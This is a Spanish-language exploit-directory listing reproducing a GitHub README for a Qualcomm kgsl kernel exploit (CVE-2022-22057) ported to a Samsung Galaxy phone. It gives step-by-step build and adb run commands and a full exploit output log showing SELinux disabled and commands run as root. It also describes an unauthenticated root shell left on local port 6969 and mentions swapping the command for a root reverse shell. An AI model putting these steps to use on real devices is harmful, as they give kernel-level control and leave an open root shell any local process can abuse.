Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-22057_SM-F926U | Kitploit
Herramientas/GitHubGitHub/diabl0w/cve-2022-22057_sm-f926u
Seguridad AndroidEscalada de PrivilegiosFrameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónSeguridad MóvilExplotación de Binarios
GitHubdiabl0w/cve-2022-22057_sm-f926u

CVE-2022-22057_SM-F926U

Ver Repositorio
101hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Fork

Mi adaptación para el SM-F926U del exploit original aquí
Muchísimas gracias a m-y-mo por descubrir el exploit y su extrema paciencia con todas mis preguntas para portar esto al SM-F926U y hacerlo utilizable

He añadido un daemon de inicio (libtimeline.so) basado en código de Shizuku

Añadí un truco sucio para permitir que la solución de root temporal sea estable (ver más abajo)

Aviso legal: No soy responsable de dispositivos destruidos, datos perdidos, datos robados, seguridad del dispositivo
Aviso legal 2: No soy desarrollador, más bien un manitas profesional. Puedo intentar ayudarte si tienes problemas, puede que nunca vuelva a mirar este hilo, continúa bajo tu propio riesgo

Requisitos:

  • Versión de firmware igual o cercana a F926UXXS1BUL6 debido a offsets específicos de kallsym (solo probado en F926USQS1BUL6)

Instrucciones:

  • Lee todas las instrucciones, el aviso legal anterior y las advertencias de abajo primero
  • Compila libtimeline.so (usando ndk-build) y timeline (usando make)
  • Copia ambos a /data/local/tmp
  • Para depuración: puede que quieras ejecutar /data/local/tmp/timeline directamente, ya que puedes ver si el exploit se está ejecutando o se ha colgado (ver advertencias más abajo)
  • Para producción: ejecuta /data/local/tmp/libtimeline.so
  • Advertencia: Tu dispositivo puede sufrir un kernel panic y reiniciarse; si ocurre, espera a que arranque, desbloquea el dispositivo, dale unos minutos para que se "calme" tras el arranque, e inténtalo de nuevo -- en teoría, lo peor que debería pasar es que pierdas cualquier dato que aún esté en memoria. Así que asegúrate de guardar cualquier dato importante antes de ejecutar el exploit
  • Después de que el exploit termine y el proceso de inicio entre en su bucle (ver advertencias más abajo para saber por qué hacemos esto):
    • Conéctate a un shell root escribiendo netcat 127.0.0.1 6969 en una sesión adb
    • Si se conecta, deberías poder escribir id y te mostrará tus credenciales root
    • También puedes enviar comandos mediante: `echo 'TU COMANDO' | netcat 127.0.0.1 6969

Más advertencias:

  • Actualmente no hay ninguna implementación que muestre que el exploit se ejecutó correctamente. Por otro lado, puedes ejecutar el binario timeline directamente (/data/local/tmp/timeline) y eso te mostrará si el exploit tuvo éxito, pero poco después de que termines tu sesión adb, el dispositivo se bloqueará, por eso lo ejecutamos desde libtimeline.so
  • Incluso ejecutándolo desde libtimeline.so, si Android mata el proceso timeline en segundo plano, también hará que el teléfono se reinicie. Mi teléfono normalmente tarda entre 8 horas y unos días antes de que el proceso sea eliminado
  • libtimeline.so carga la CPU al 100%: notarás en top que timeline se ejecuta con aproximadamente un 100% de uso de CPU. No estoy seguro de si esto es real o no. En realidad solo está en un estado while(1) para evitar que se cierre y bloquee el dispositivo, así que no he encontrado qué está causando el alto uso de CPU ni si es un falso positivo corregido
  • Esta es una solución de root temporal, lo que significa: sin Magisk, sin gestor de su, y defex sigue habilitado
  • ADVERTENCIA: ** Este método root es muy inseguro **
    • Deja un shell root ejecutándose en el puerto 6969 a través de netcat, y cualquier servicio que escriba un comando a ese puerto podrá ejecutar comandos con privilegios root

Original

Exploit para Qualcomm CVE-2022-22057

El artículo se puede encontrar aquí. Este es un error en el driver kgsl de Qualcomm que reporté en noviembre de 2021. El error se puede usar para obtener lectura y escritura arbitrarias de la memoria del kernel desde el dominio de aplicaciones no confiables, que luego se usa para deshabilitar SELinux y obtener root.

El exploit está probado en el Samsung Galaxy Z Flip 3 (versión europea SM-F711B) con versión de firmware F711BXXS2BUL6, banda base F711BXXU2BUL4 y versión de kernel 5.4.86-qgki-23063627-abF711BXXS2BUL6 (región EUX). Los offsets del exploit se refieren a esa versión del firmware. Además de los offsets habituales en la imagen del kernel, varias direcciones de los pools de memoria ion en ion_utils.c también son específicas del firmware. Como referencia, usé el siguiente comando para compilar con clang en ndk-21:

root@kitploit:~
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline

El exploit es razonablemente fiable (~70% en el dispositivo probado), aunque necesita esperar unos minutos después del arranque antes de ejecutarse, ya que hay demasiadas llamadas binder rotas/fallidas durante los primeros minutos de arranque. (No estoy completamente seguro de si es un problema de Qualcomm o de Samsung)

Para probarlo, compila de forma cruzada el archivo y luego ejecútalo con adb:

root@kitploit:~
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline

Si tiene éxito, deshabilitará SELinux y ejecutará el comando id como root y escribirá los resultados en el archivo /data/local/tmp/id.txt:

root@kitploit:~
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
 wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished

Hay una pausa larga después de que se imprime wait complete -1, que debería ser de menos de un minuto; esto es normal. A veces también puede tardar un rato en poner el trabajo en cola (después de que se imprime queuing work, waiting to aquire spin lock, pueden ser un par de minutos, solo hay que tener paciencia, aunque no es habitual). El exploit normalmente se completa en un par de minutos.

El archivo /data/local/tmp/id.txt debería confirmar que el comando se ejecutó como root:

root@kitploit:~
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

Se puede ejecutar un comando diferente cambiando la variable cmd en setup_sub_info en work_queue_utils.c. (Por ejemplo, para lanzar una reverse shell root).

Descargar herramienta